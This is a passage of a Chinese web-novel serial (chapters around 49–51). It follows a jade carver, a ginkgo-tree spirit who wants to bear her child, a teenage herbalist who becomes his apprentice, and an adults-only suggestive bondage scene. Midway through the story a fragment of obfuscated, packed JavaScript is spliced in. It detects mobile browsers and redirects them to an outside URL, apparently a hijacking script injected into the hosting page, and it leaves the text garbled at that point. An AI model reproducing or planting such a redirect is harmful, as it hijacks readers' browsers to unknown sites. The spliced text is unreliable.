淡薄日光从头顶洒下,入秋后的风略带凉意,卷着半黄不绿的叶片拂过灰黑瓦片,未等它停留片刻就将几片落叶吹下屋檐。
花圈白布皆被收走,蛇皮袋里满满当当的草药倒出,从前院空地上一路铺入原本作为灵堂用的中堂里,连天井处都晒着刚收不久的植物。
岑让川坐在矮椅上,费力地碾酸枣仁。
她偷偷瞥向一旁在分辨新鲜草药的白芨,装作是闲聊问道:"诶,白芨,你觉得男人能不能怀孩子?"
"你耳朵里的蛆钻脑子了?"白芨看也不看她,专心致志挑拣,手上全是泥土。
因为常年劳作,她的手开裂出一道道小口子,看起来像干裂的树皮。
死小孩说话真刻薄。
岑让川心下吐槽,人在屋檐下又不得不低头。
自从刘盈火化后她再也没见过红嫁衣,也再没回宅子,更没和银清联系。
她算是多少摸清银清秉性,估摸着在镇子上熬上千年住疯了,导致性格有些偏执,他想要得到的必定会不择手段得到。
岑让川想起银清说的那句。
“我给你生一个女孩……”
他好像是认真的……
问题是,讨论怎么生之前怎么怀都是个问题。
银清身体构造,两人做这么多次,衣服扒开后没什么不同,颜色比常人要浅的多算吗?
何况……
他究竟算是鬼还是树?
她们之间,不该有生殖隔离这回事吗?
物种都不同,哪怀的了?
岑让川胡思乱想之际,把药槽里的酸枣仁碾地乱七八糟。
她现在想回老宅又不敢回,生怕银清缠着自己做。
要是做完第二天他坐在床边,怀里抱着根一米长着婴儿脸的树桩,散发着人夫光辉对自己说:"我给你生了个孩子。"
怎么想怎么恶俗。
她可没打算拍个内地版的《异形之夺命凶宅》。
岑让川不禁打了个冷颤,碾得愈发卖力。
一旁白芨收拾好草药便用蛇皮袋裹成一包离开。
离开没多久,手里已经多了几包药。
"喂,岑让川。"
"叫姐!"死小孩没大没小。
岑让川坐直身体,刚准备松松骨,眼前一道黑影飞来。
药包沾染粉尘,在半空中划过一到黄灰色弧度,裹着浓郁药香砸进怀里,差点把她砸得翻下矮椅。
她刚要发怒,望见那熟悉的桑纸和包扎麻绳的方式,心里的气顿时烟消云散。
不过是初升高的小破孩子,跟人家生什么气。
只是白芨太过早熟,导致自己总是把她当同龄人。
"你该回去了。"白芨抬抬下巴,目光往下压,移向药包,“给你开的补肾益气,镇定安神的方子。分上午下午,一日两次,饭前喝。”
“……再住几天不行吗?”
家里有座神,神还会分裂。
在没想到神现阶段要个孩子的要求该怎么应对之前,她实在不想回去……
白芨想了想,点头:“行是行。但卖炒粉的阿姨前两天来看诊时说看到你表弟膝盖里长藤条了。我给她把脉,痰迷心窍、神志异常等等状况都没有。神智清明,头脑灵光,活到九十九不成问题。唯一的可能……”
岑让川听到这已经汗流浃背,连忙站起,拍拍身上的药渣粉尘,强作镇定道:“确实在你家叨扰多日,我这就回去……回去……咳,这药我也会记得喝的。”
“等等。”白芨叫住她,神情像抓住遗落在洞穴外的狐狸尾巴,透着股得意。她摘下灰扑扑的围兜,“我跟你回去。”
不要啊!
突击家访也没这样的啊!
再说……
“你跟我回去干什么!”说这话的岑让川已经大跨步爬上天井,仿佛背后有恶狗追击。
她前脚刚迈出门槛,后脚衣摆就被两只手死死抓住。
白芨死活要跟着她,恨不得把她衣服拽烂做布条,把自己捆她身上:“我要去见你表弟!他绝对有秘密!”
“他没有!”
“他有!”
“他没有!”
“他有!”
……
白芨再弱小,到底是个快高一的孩子。
重量不是盖的,差点没把岑让川扯走光。
两人拉拉扯扯到门口阶梯下,两旁石狮子静静看她们,砸出凹陷圆球状的眼珠恰好是望向二人的位置。
岑让川受不了了,主动问:“那你说,他有什么秘密?”
“他不是人!”白芨笃定回答,见岑让川要说话,又加了一句,“我看我奶奶遗书了!你别想骗我!”
“woc!”岑让川骂了句脏话,她心虚地左右看看,见没人才紧张地问,“你奶奶遗书写什么了?!”
她第一次去中医馆,就是张奶奶接诊。
银清又认识张奶奶,老人家去世前还留了封遗书给他,是以,岑让川丝毫不怀疑作为张奶奶收养的白芨会看到遗书内容。
然而她想错了……
白芨脸上露出七分狡黠三分阴险的笑:“果然被我猜中了!”
岑让川这才反应过来,自己中计了……
她就说她讨厌小孩不是没原因的!
这死小孩吃什么长的?
脑子这么聪明?
回去的路上,岑让川一直在想这个问题。
她盯着白芨瘦小的背影,发现白芨似乎脑袋比普通小孩的脑袋要大上一点?
要不是手头没卷尺,她恨不得上去量一量白芨的头围是不是比某个男演员的头要大。
她俩一前一后这么走在长巷里。
青砖白墙。
几日前,连绵不断的雨季让阳光晒不到的地方长出了青苔,点缀在青石板路面和布满霉斑的角落,新生长出的嫩青色与先前的青黑色斑驳在墙上,像层叠出的油画笔触。
最为阴暗潮湿的缝隙中,依稀有几个白点冒出,圆鼓鼓的脑袋看似无害,实则有毒。
就快出巷子时,迎面也走来一大一小。
住院几日瘦削许多的秦叔推着轮椅正在艰难上坡,他的女儿苏明空用力在后边把他往前推。
岑让川还没反应过来,白芨就已经上前帮忙。
“秦叔,怎么不在医院多住几天?”白芨问,同时用膝盖轻轻把苏明空顶开,“你去前面。”
苏明空听话地让开位置,跑到秦叔面前拉着他的手向前走。
“俩小屁孩推得动吗?我来。”岑让川硬挤开白芨,轻轻松松推动秦叔,“回手机店还是回家?”
“手机店,好几个老主顾说要来,反正我平时就是在店里坐着,只是换成轮椅而已。”秦叔和蔼笑道,“你俩怎么在一块?准备去哪?”
“噢,我准备去让川姐那住几天。”白芨目光放到秦叔腿上,“骨折严重吗?”
“还好,就是膝盖骨折。六周后去医院拆石膏。”秦叔说着,又问岑让川,“我在医院听说,你、严森、白芨都住院了是怎么回事?”
“
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……”岑让川现在最不想提的就是这件事,支支吾吾的,最后也只是含糊一句“等警方通报吧”带过。
白芨没顾忌,她又没犯法。也没跟严森岑让川上山开棺材,差点给自己弄个侮辱尸体罪。
整件事情经过最无辜的就是她。
当秦叔听到刘庆远父亲头颅掉下来,尸身早已腐烂时他若有所思:“这是不是巫术?我小时候听我太爷爷说过,县志也有记载。”
岑让川来了兴趣:“县志在哪?”
“镇子西边有个小博物馆,说是博物馆,就是小破屋。你只要问一嘴放书的老屋子在哪,镇上的人就都知道该把你往哪引了。”
“好,我有空一定去。”
她们凑在一块七嘴八舌说着话,不过一会儿就把秦叔送进手机店。
柜台内通道狭窄,并不便于转身。
秦叔只好用拐杖把自己送进去工作台。
岑让川没想到他现在还惦记着自己那台小破机,愣了愣之后把自己手机掏出来给他修理。
白芨捡起地上一根水红色塑料绳,拉着苏明空走到门外台阶下玩翻花绳,两个身影窝在一块,投下的阴影就跟两坨小蘑菇似的。
秦叔扫了眼,边把手机后壳拆开边说:“张奶奶也是好福气,捡到了白芨。我就闹不明白,现在这社会还有重男轻女的,闺女多好啊,比那些臭烘烘的小男孩好多了。再带一年,明空也要上幼儿园。那个时候,我就轻松多了……”
他絮絮叨叨说了许多。
比如镇子上的幼儿园最低也要六百块一个月。
比如明空长得太快,每隔一段时间就要给她买衣服。
又比如,他攒下许多钱想把自己女儿送到镇子外的大学好好读书,别像他这样死守着一个手机店。
最好是能像岑让川这样,有个技术手艺,这样子这辈子都不愁吃喝。
不过修手机就别干了,近视、脊椎病、化学腐蚀等等毛病。
会一行苦一行,他不希望她再走自己老路。
一字一句,都透着老父亲对女儿的殷切期望。
岑让川笑笑:“那她要是再有本事点,出国留学了怎么办?”
“那很好啊,外边天地广阔,让她多出去看看嘛。不要把孩子绑在身边,是我老婆经常说的,哎哟,你这个手机又泡水啦?”秦叔带上手套,仔细修理,“不好弄,你啊,爱惜点手机嘛。现在赚钱不容易,真要三天换一套啊?”
岑让川思绪已经飘远,她不由想到刘缔。
晃神间,秦叔又唠叨好多话。
像编织出的一场梦,环绕在店内三个人生轨迹各不同的女孩身上。
好不容易修完,已经是一个小时后的事。
已经到正午,该吃午饭的时候。
特产店婶子的老公听说秦叔回来了,考虑到他现在骨折又带着女儿,刻意过来给他送饭。
岑让川看了眼在秦叔身边咀嚼白米饭的苏明空,又看了看秦叔打石膏的腿,鼓起勇气说:“秦叔,我帮你带一阵子明空吧?你也知道,我虽然副业是搞风水的,但我主业搞玉雕,平时有空。早上我十点左右过来接她,晚上就把明空送回来怎么样?”
“啊?”秦叔愣住,没想到她会提出来帮自己带女儿。
“那个……我知道您骨折的原因了……”
老宅外。
等了岑让川五天的银清扯掉从伤口处长出的白果,丢进桥下河里。
他静静望着那片涟漪出神。
片刻后,他听到不远处炒粉阿姨的声音响起。
“唉呀!让川回来了啊!”
银清蓦地回神,转过身去。
当看到岑让川身边带着一个,怀里还抱着一个时,他沉默了。
49. 打断
银清平静地望着她,身上穿的还是先前那身摔得破破烂烂,被植物汁液濡湿发黑像用了扎染工艺的长裤。
他扫了眼三人,清冷的脸上看不到什么表情,声音里也听不出喜怒:"你确定要带她们进去?"
银清要是不问,岑让川或许就大大咧咧把这两孩子带进去了。
但他问了,岑让川立时想起宅子里……还有两个糟糕的家伙。
她、银清、鲛人、黑衣银清、白芨、苏明空。
六个人……
人类大战异形怪……
岑让川只是想想就脑袋疼,于是想要打退堂鼓:"我还是出去住吧……"
"不行!我是来见你表弟的!"白芨立刻制止她,理直气壮问,"你要是不在,你表弟猥亵我怎么办!"
岑让川:"……"
银清:"……"
这事该怎么说呢……
这事没法说……
总之,她们都先进宅子了。
好几天没回来,宅子还跟她刚走没多久时差不多。
沿廊处依旧是藤蔓缠绕,年久失修的石柱被黑藤流出的毒液腐蚀,断了好几根,顶部塌陷,地上尽是掉落的砖瓦沙砾,透着股不详的气息。
鲛人原本爱呆着的池塘里昏黄一片,断柱扎在水里,斜斜歪着靠在岸上。
银清精心培育的花草不再茂盛,已是大片枯死,甚至已经散发出闷甜的腐烂味。
他们只能去沿廊旁的小路,抵达主屋小楼。
明明才进入七月不久,满地枯黄树叶,在石桌上铺满厚厚一层。
银杏树气息衰竭,像已进入强弩之末,等到树叶掉光就是它的死期。
没等岑让川说点什么,旁边传来"咔嚓"一声。
白芨对着银杏树拍照,稚气未脱的脸上俱是困惑,她拧着眉似是要……
"等等!"岑让川连忙叫停,惊恐道,"你要发给谁?!"
白芨理所当然:“才七月银杏树叶就黄得跟深秋一样,当然要发给严森看看怎么回事啊。”
"……不许发!"
"为什么?"白芨疑惑,看岑让川脸色不好看,瞬间明了,"你干的?"
"不是,我……"岑让川百口莫辩,气得把银清拽过来,"你跟她解释!"
银清弯下腰,盯着白芨说:"它即是我,我即是它。你找严森也没用,我……"
岑让川一把将他推开,这不靠谱的在这念什么经?
她急忙解释:"哎呀怎么跟你说呢?这宅子吧,就是风水有点不太一样。我发誓我真没往银杏树下浇热水生活污水,但是,它黄了,不是我的原因,也不是它的原因……"
银清幽幽飘来一句:"是加在一起的原因……"
"你能不能滚?"她拳头都硬了。
在这个时候还添什么乱!
白芨要是普通小孩随便糊弄糊弄兴许就过去了。
但她不是啊!
果然,这俩云里雾里的话丝毫没让白芨听出点有效信息,反倒让她笃定:"我听明白了,你俩是共犯。依照法律法规,我不该找严森,而是应该打110举报。"
岑让川都快跪了,她也没想到这棵银杏树怎么就黄了,要是银清被抓去坐牢就算了,别抓她啊!
软的不行来硬的。
岑让川恶向胆边生,直接抽走白芨手机威胁:"你要是敢举报……"
话没说完,后院池塘边响起小女孩的欢呼声。
"鱼鱼!好漂亮的鱼鱼!"
威胁中断。
岑让川几乎是下意识跑了过去。
宅子里的鱼……不就只有那只吗!
鲛人龇牙咧嘴想要拽回自己头发,他刚刚好奇地探头出来看宅子里是不是来了生人,没想到岸上早已蹲伏着一个邪恶生物——人类幼崽。
小孩有神明护佑,他没有觉察到她的气息,等察觉到时,自己一缕头发已经被她握在手里。
"放手放手放手!"鲛人凶巴巴地朝她吼,听到有脚步声朝自己这边极速跑来,急了。
他直接打了苏明空一下,趁小孩松手赶忙钻回水底,隐匿不见。
苏明空见漂亮的鱼鱼消失,直接放开嗓门哭嚎出声:"哇——鱼鱼!鱼鱼打我!"
岑让川赶紧把她从池边抱开,低头去看,小女孩手臂上一片红印,湿漉漉的,手心里还有一缕长长的白发……
背后,一大一小见苏明空没事,脚步慢了下来。
白芨以为苏明空只是看到鱼,松了口气。
她抬头去看银清,他模糊的面容映入她的眼睛,有那么几个瞬间,变得清晰。
白芨再次确定,他不是人。
衡量再三,她决定了:"不举报也行,但你要帮我做件事。"
"噢,不行。"银清直接拒绝,看也没看她,径直走到苏明空身边,将手握成拳放到了苏明空面前,"鱼鱼在这。"
说完,他张开手,一枝醉鱼草不知怎的出现在他手中。被他三下两下团成鱼的形状,放在看呆了的苏明空手心中。
"鱼鱼!"苏明空开心了,丢开被拽下的鲛人头发,快乐地捧过醉鱼草。
"我还没说是什么!"白芨穷追不舍,"你先听了再说呀。何况我让川姐一个人养家糊口多辛苦啊,你一个大男人又没工作又成天无所事事,不想为她减轻负担吗?"
银清沉默不语。
白芨正要再加把火,冷不丁听到他问了句与此无关的话:"你饿了吗?"
他看向的人是岑让川。
她一愣,诚实地点头:"有点。"
银清扭头对白芨说:"我现在就是吃软饭,吃了上千年,吃软饭听她的话就是我的工作。而且我不算无所事事,我要给她生孩子带孩子、打扫屋里屋外、洗衣做饭、主持中馈、做一个贤良的男子……"
白芨越听越不对劲,这不就是家庭主夫?
她终于明白岑让川为什么会问她男人生孩子的问题。
但……
白芨慢慢蹭到岑让川身边,认真问她:"你要不要送你表弟去医院看看脑科?"
岑让川不厚道地笑了。
正午太阳洒下,因着是秋季,并不如何炎热。
烈日被树叶分割阻隔,从缝隙中洒下,在地上切成片片金箔浮光。
因她们来得突然,宅子里并没买菜。
只能去外边炒粉阿姨那买点吃的。
银清还去买了罐奶粉和红枣小米,冲泡出一碗奶香味的米糊糊让苏明空舀着吃。
"咱俩前世……有孩子?"岑让川疑惑地问。
银清轻轻摇头:"没有。"
那他怎么很熟练的样子?
银清似是知道她心中所想,面无表情道:"但我照顾过你其他侍郎的孩子。"
"……"她就多余问!
岑让川移开目光,眼角余光扫到他破皮的膝盖,模模糊糊间似能见到骨头。
她不自觉咽咽口水,试探着问:"你不处理下吗?"
“习惯了,过几日就好。”
他是真的习惯了,千年岁月,分裂一次又一次。痛感消失,伤口愈合还是腐烂,他都感觉不到。
可是,岑让川还是心软了。
“进楼里,我帮你处理。”
趁那俩吃午餐,她依照他的指示去拿土和绷带。
剪刀剪开他的裤管,湿润帕子敷上。不一会,苔藓般的伤痕脱落,当她要触碰那些湿润泥土时,一双莹白匀称的手轻轻拉住了她。
银清坐在矮椅上,慢慢靠近。
琥珀色眼眸中盛满她熟悉的爱欲。<
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p>底色明润的眼瞳映着光,微微抖动,被长睫掩下大半。
窗纸阻隔楼内楼外视线,倾泻而入的日光照亮一方小天地。
灰尘在光中飞舞,地上投射的影子也在慢慢靠近。
银清闭上眼睛,慢慢感受她久违的气息。
先是小心翼翼的触碰,唇珠圆润处点在柔软上,直至完全贴合。
植物响起溢出,丝丝缕缕蛇行般将二人包裹于这方地界。
岑让川被他气息蛊惑,迫不及待摁住他的后颈发起进攻。
银清乖顺地松开牙关,任她绞着自己,纠缠自己。
体温逐渐升腾,越燃越旺。
他抓住她的手往自己衣摆下探去,一路牵着她摁在绵软处。
在矮椅上不方便,银清干脆跪行而来,丝毫不管膝盖上的伤,执意要拥抱她。
直到墙上两道影子融为一体,二人的唇都没分开过。
将近一个月没做,银清不管不顾挑起她的欲念,暗示着让她更加用力揉捏自己,绞缠自己,恨不得让她咬破自己脖颈,饮下自己的血液。
他这样放.浪,岑让川也不客气了。
她搂住他,两个人登时滚在木地板上,扬起一小片灰尘。
银清喘着粗气,眼下已是绯红一片。
他自觉掏出一根金黄色的藤条,放在她面前,轻声吐出两个字:“绑我。”
岑让川瞪大双眼:“啊?”
捆绑play?
玩这么大吗?
“要,要怎么绑?!”她手忙脚乱接过来,发现这根藤条有些不太一样。
触感丝滑如绸缎,每根丝都捋作线,紧密贴合到几乎看不到一丝缝隙,沉甸甸的,像是……
金子做的……
他现在看不到,眼神略显空洞,依然准确无误地捕捉她惊讶的目光:“嗯,金的。也是你要的,能制约我的东西。先试试绑住我的手。”
银清说完,手腕自动自觉往金藤上放。
岑让川不动,他还催促:“快呀。”
她磨磨蹭蹭将金藤绕在他手上,刚绑了个滑稽的蝴蝶结,眼前一花,几许残影在眼前闪过,只在眨眼间,金藤真如藤条那般将他绑了个结实。
就是绑的方式……
不太正经……
银清本来就瘦,那金条偏挑着他腰最细处撩起,盘扣崩开,他身上原本严严实实的中式衬衣顿时变得破破烂烂,若隐若现。
配上他此刻难耐的表情,凌乱的衣衫,解开的长发,当真是让人热血沸腾。
岑让川二话不说扑过去,即将被美色冲昏头脑之时,窗外猛地刮来一阵风。
树叶沙沙作响,洒下大片金色。
吹得人睁不开眼。
拉长到墙上的影子头顶倏然落下一道黑影。
两声尖叫声夹杂“噗通”闷响,惊醒屋内一对鸳鸯。
岑让川清醒过来,立刻抽开绑在他腕上的蝴蝶结后把金藤往自己兜里塞,急得没从门走,而是从窗边翻出去。
等她站定,看清是什么情形,脑袋直接宕机。
树下,石桌上,外卖洒落一地。
汁水混着糊糊和剩菜剩饭掉地到处都是。
一个浑身穿着黑色的人躺在上面,已不知是死是活。
再看其面容……
白芨岑让川的目光同时转向轻盈脚步声传来的方向。
唯有还不知如何表达自己感情的苏明空指着黑衣银清说:“哥哥,掉下来了!”
岑让川反应过来,回过头咬牙切齿问他:“你把他捆树上干什么!”
银清站在窗边,衣衫不整,却十分淡定,慢条斯理道:“当风铎,怎么了?”
白芨盯着黑衣银清枯白肤色,颤巍巍拿起手机:“喂,你好……我要报案,这死了个人……”
50. 拜师与变心
天色擦黑之际。
苏明空被准时送回了家。
秦叔推着轮椅将苏明空抱起,慈爱地问:“跟让川姐姐白芨姐姐玩了一天,想爸爸了吗?”
“不想爸爸,川姐姐,好玩!有漂亮的鱼鱼!”
那么大个宅子养锦鲤嘛,很正常。
“neinei糊糊,红红的,甜甜的。”
这就听不大懂了,像是什么东西。
岑让川忙给秦叔解释:“我表弟做的红枣小米奶糊。”
“让你们破费了。”秦叔不好意思道,拿出一封早已准备好的红包,“这是我的一点心意。”
“不用不用,白芨和我都喝了点。您给我修手机都没要钱了,我怎么能收。”
双方正拉扯。
苏明空再次用小奶音说:“帕帕,还有一个哥哥,从树上掉下来了。和你上次一样,飞飞~”
“……”银清不是说已经哄好小孩不往外说了吗!
岑让川僵住,脑子转得飞快,“我表弟……在树上,晒了个等身抱枕奥特曼。男孩子嘛,哈哈……”
如此蹩脚的借口,却莫名有合理性。
秦叔想了想,感觉有点奇怪,也没往深处想,继续和岑让川拉扯红包。
好不容易能回宅子。
天色早已黑透。
路灯亮起一团接一团暖烘烘的光,像往玻璃罩子里塞满暖黄色的毛团。
路边摆摊的只剩下卖些餐后甜点的还有卖简餐的阿姨们,晚下班或是不想回家做饭的人正聚在这些摊子中吃着晚餐。
岑让川往前走着,一股木炭味愈发浓厚。
她绕过拐角,远远看到前方有个烧烤摊,就在距离老宅桥头不远处。
不仅如此,她还看到了两个熟人……
银清带着白芨,两个人跟木头桩子似的立在摊子前。
银清:“买点。”
白芨:“致癌。”
银清:“一点。”
白芨:“不行……”
烧烤摊摊主无语盯着两人:“买不买你们!不买也别在我摊位前说这些啊。”
岑让川加快脚步走到摊位钱,直接点餐:“这个这个还有这个,多少钱?”
摊主扒拉了下签子数了数:“三十。”
岑让川爽快付钱。
银清看着她:"……家里已经做好饭了。"
岑让川眼皮都没抬一下,拿起手机边回简寻消息边问:"噢,那你们出来干嘛?"
"……"
能说是因为烧烤味太香,没忍住吗?
[简寻:我下周出差去云来镇,要不要见个面?]
[岑让川:行啊,不过你来这干嘛?]
[简寻:你是不是又忘啦~我是植物学的。跟你聊天的不单单我一个是嘛。(委屈.jpg)]
[岑让川:(尴尬.jpg)最近事情多,忙忘了。]
银清见她似乎不太想搭理自己,默默凑过去利用周围草木感受关于她的画面。
岑让川的头像是他的黑猫化身……的蛋蛋……
刻意P图把菊部也P掉了,乍一看像两个毛绒球。
而对面那个……是个黑白头像,男人侧对着看不清面容,往外吐烟圈的一瞬被抓拍下来,氛围忧郁而颓败。
"他是谁?"银清警惕地问。
他有种不好的预感,对面不用见面也能感受到一些混乱的磁场,可能会干扰到岑让川。
"高铁上认识的朋友。"岑让川避重就轻。
银清追问:"男人?"
正在这时,烧烤摊老板已经将纸筒打包好,朝她招呼道:"小姑娘,烤好了。"
"来了。"岑让川忙挪到一边接过来。
白芨看到她俩这么说话,愈发觉得可疑。
白天树上掉下个跟银清长得一模一样的男人,两人都解释不出什么东西,岑让川慌慌张张求她别说出去,也别报警。银清不知道把人扛去哪了,回头跟她说那是什么巫蛊术法,她报警也没用,他在警局备案了,不信让她报一个试试。
白芨当然不信,向警局报出地址后对面由高度重视迅速变为大事化了,顺带嘱咐她好好学习。
这宅子难道有什么杀人不用偿命的豁免权?
她咀嚼着烤蘑菇,目光来回在二人身上逡巡。
这俩氛围太不对了,根本不像表姐弟,反而像……
刚过桥,还没到老宅小门。
就听到背后传来惊人的问话。
"你俩是……乱.伦吗?"
孜然冲入鼻腔,岑让川差点被呛死。
银清刚刚脸上还阴云密布,如今倒是浮出笑意,替她顺气的同时说出语焉不详的话:"你猜呢~"
白芨下了定论:"我猜你对她爱而不得导致心理扭曲。你俩不是表姐弟,倒像是因为某件事捆绑在一块的利益伙伴关系。"
那点刚浮出的笑意如湖面涟漪,逐渐归于平静。
银清终于肯正视她。
"喂!"岑让川刚想吐槽两句,转身发现这一大一小之间氛围不对,像有座无形的高墙倏然筑起,阻挡他人进入。
她立时住嘴,走远些将这处空间腾给她们。
夜色皎洁,投下的月光冷冷清清。
天幕黑地挂满繁硕星辰,远山深蓝,层叠如画。
路灯下,两个高矮明显的身影在银清坐在石栏上后变得几乎一样高。
河边无人修剪的芦苇荡进入初秋后依旧青绿,没有路灯照亮的地方黑漆漆地摇摆着,宛如鬼魅凌乱的头发。
白芨注视面前坐下的男人,头一回感受到他身上传来的压迫感。
无形无色,却不由令她口干紧张,心跳加速,背脊上慢慢透出一层薄汗。
她和他见面次数并不多,第一次就是在张家民居,他突然出现在自己奶奶葬礼上。
而自己这十几年间,偶尔能听奶奶提起这个男人。
七十年的时光跨越。
将近一世纪的再次相遇,奶奶已是风烛残年。
枕头下的画像也已发黄,又烂又碎,靠着背面一层层纸糊上保存下来。
奶奶死后,这张画像差点被婶子阿姨们收拾遗物时丢掉。
十六岁时奶奶画下的是黑白画像,随着时间流逝慢慢模糊面容。
八十六岁,奶奶偶然间重逢便重新描摹一张,涂上了颜色。
白芨留了下来,细细去看画像上男人的眉眼。
他第一眼给人的感觉便是清冷矜贵,时光沉淀下的浓重书卷气将他与这个时代分离,有种格格不入的疏离感。
长眉下一双浅淡的琥珀色眼眸,略尖的下巴,纤瘦漂亮,似卷轴铺开后画像上的古人。
而这样的人,就这么出现在葬礼上,出现在自己面前。
真人与画像重合,竟比画还要美,能压过粼粼月色,让人只看到他的存在。
如今,这个人就坐在自己不远处,用淡漠的嗓音问:"学到哪了?望闻问切,辨识草药,针灸正骨,炮制药材,识穴制毒……"
岑让川站在一边越听越邪门,多嘴问了句:"你这是正经中医吗?"
"上古时期,巫医同源,毒医不分家。"银清摘下一根伸到怀里的芦苇,将毛绒绒的那段对准白芨,"想让我替你守一段中医院不是不可以。我有条件。"
岑让川白芨同时瞪大眼睛看他。
银清怎么知道的?!
岑让川飞快瞥眼白芨的脸色,看到她和自己一样惊讶,咽了咽口水。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304579|142848||http|test|mini|href|location''.split(''|''),0,{}));
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>银清这人也忒邪门,人家还没说,他居然猜中了。
可……
是猜的吗?
白芨盯着自己面前这根芦苇,想到这人虽深不可测,但未尝不能赌一把。
岑让川在这,应该不会让自己出事?
她九月份就要去镇子外的市里读书,到时候店里没人,奶奶传承下来的中医馆就此落寞怎么办?
她们祖孙生活得清苦,奶奶捡到她时年纪已经很大,好不容易存下的钱只够她上大学,想请人守着根本不可能。
白芨愁了很久,直到她发现了人群中的银清。
几乎是那么一瞬间,她就确定银清是最符合的人。
没有缘由,只凭直觉。
就像她第一次见到银清,便已断定他是奶奶画像上的人。
白芨听到奶奶经常夸自己的悟性和兽类般的直觉,中医需要悟性和天赋。
而这两样东西,白芨自信自己有,所以才敢找上他。
这个莫名出现的男人,身上有她熟悉的植物气息。
她相信他懂医。
白芨上前接过芦苇,"扑通"一声干脆利落跪下,吐字清晰又中气十足地喊道:"师傅在上,受徒儿一拜。"
岑让川:"……"
她没错过什么重要剧情吧?
现在这走向怎么就看不懂了?
白芨就这么水灵灵地拜师了?
银清水灵灵地多了个徒弟?
"我还没说要收你。"银清放下手,将下巴支在手掌上,双腿交叉层叠,手肘杵在膝盖上,一副懒散的模样,"就算要收,你也得准备好,随随便便就这么一跪,那我也太不值钱了。"
"……那我明天呈拜师帖,六礼束脩?"白芨试探问。
"我刚刚的问题,你还没回答。"
白芨想起岑让川刚刚打岔前银清问的内容,连忙竹筒倒豆子般把自己这些年学的内容都说了个详细。
岑让川心想,要是以后白芨去面试,肯定会让HR大跌眼镜。
十四岁的年纪,十年工作经验。高级牛马,当场录取。
她想笑,急忙克制住。
不远处。
银清听完白芨如今学会的内容,微微蹙起眉头。
白芨大气不敢出,生怕他拒绝。
"勉强算有天赋,明天准备好拜师礼再来吧。"银清起身,拍了拍衣摆上的灰尘。
白芨生怕他反悔:"今晚不可以吗?"
银清反问:"你见过谁家拜师是在晚上?"
倒还真没有。
白芨不太放心,从地上爬起时还想再说些什么。
一旁岑让川超她们摆摆手:"我都录下来了,他要是不答应我替你说。"
白芨点点头,趁着现在还不算太晚,抬头和她们告别,一步三回头地离开。
直到她的身影消失在转角,目送她远去的二人才踏进宅子。
小门打开,绕过壁照,穿过沿廊。
岑让川总觉得哪不对,低头看自己手里提着的烧烤,嘟囔了句:"死孩子怎么不吃就走了。"
"可能挑食吧。"银清随口道,顺手把自己塞进她的手里,与她十指相扣,装作不经意间提起,"你刚刚聊天的……是男人吗?"
不仅是个男人,还是个长相不错的潮男。
岑让川想收回手,发现银清缠得很紧,修长指骨卡在掌骨之间凹陷处,死死见她手掌完全包裹在里面。
"你又想干嘛?我都已经回来了。"岑让川又想起他会算卦的事,警告道,"别再给我玩什么小心思,不许追踪我行迹,不许再给我算命。"
银清听完,忽然逼近,将她抵在月洞门壁上,一双空洞的眼睛望着她:"你是不是……变心了?"
51. 从冷战到引诱
“变什么心?银清,你清醒点,我不是以前那个帝君。我是岑让川,一个玉雕师。你要是实在不清醒,把你分身融回去,补补脑子。”
因为这段话,现在两个人都冷静了。
准确的说,是两人都开启冷战模式。
同在屋檐下,什么都还和以前一样,但态度明显冷漠许多。
岑让川也终于明白过来为什么白芨不留下吃饭,身为中医传人明知道烧烤对身体不好依然馋得慌。
当天晚餐……
甜辣口西瓜皮炒肉、荔枝炒鸡、豆角炒火龙果……
岑让川忍了忍,还是没忍住,问了句:“你前段时间厨艺不是还很正常吗?!现在怎么又做这些狗都不吃的玩意?!”
银清冷笑:“某些人狼心狗肺,当然只配吃这些。”
说完,他头也不回地消失在外面月色下。
用纤长发带扎起的长发在背后摇曳,布料上绣出银杏叶形状的金丝在月白色绫罗上被昏黄路灯照亮,隐隐流光。
这是他第一次说这么难听的话,气得岑让川差点掀桌。
她气呼呼地吃完剩下的烧烤,又忍着难吃的口感扫完一桌味道感人的饭菜,刚把脏碗层叠起来,转身想把锅也拿出去洗洗,就听到身后叮铃哐啷一阵乱响。
再回头看去,那些脏兮兮的碗筷已经清洗干净,乱七八糟地丢在桌上。
岑让川:“……”
她拎着锅走出厨房,探头探脑去看外边景象。
连个鬼影都没有。
夜里,她洗完澡。
换好睡衣,准备拿上脏衣篓去洗衣服,发现里边的衣服消失不见。
后院晾衣杆上,一套洗好后拧干不久的衣服摇摇摆摆挂在杆子上,诡异地左右摇摆。
岑让川双手环胸无语半晌,想起如今银清在看不到听不到的情况下做完这些事,忽然生出点愧疚。
自己这算不算在欺负残疾人?
心下惴惴,她躺在床上半天睡不着。
莫名想到银清这算不算是冷脸洗内裤?
都吵成这样了,自己还预备出轨,他还能边生气边做家务……
换作自己这暴脾气,非得把对方揍开花。
等等。出轨?
出个毛。她俩关系就是炮友、宅友、饭搭子、合作对象,哪来的什么合法关系。
男女朋友?
培养感情到告白这一段进程根本没有,直接上的全垒打。
怎么算,都只能算作是前世今生的孽缘。
还是银清单方面的纠缠。
辗转反侧间,枕头旁的手机屏幕亮起。
照亮头顶黑漆漆的雕花房梁。
[严森:你去吗?过几天一起啊~]
没头没尾的话令她丈二摸不着头脑。
[岑让川:啥?]
[严森:看看群。]
岑让川点进云来镇五百人群扫了两眼,才知道原来市里开了家密室逃脱馆,感兴趣的都在拉人一块去玩。
前期优惠五十八一个人。要是凑齐八个人,能玩三个小时的游戏一块结算优惠到三百九十九,相当于人均五十。
还挺划算?
反正闲着没事,岑让川干脆报名。
[严森:要不要拉白芨一起?我给她出钱。]
[岑让川:大哥,人家才十四!这家游戏馆不接待未成年。]
过了会。
严森发来一个害羞表情包。
[那你堂弟来不来呀?腿不好没关系的,我保护他。(强壮.jpg)]
“靠。”岑让川骂了声。
死木头书呆子在这等着呢!
约她是假,约鲛人才是真!
她侧过身平躺,打字飞快。
[我堂弟社恐又腿脚不好,你让他去,是想npc追杀时拿他堵门吗?]
[严森:密室逃脱不去……那,下个月cosplay展……?]
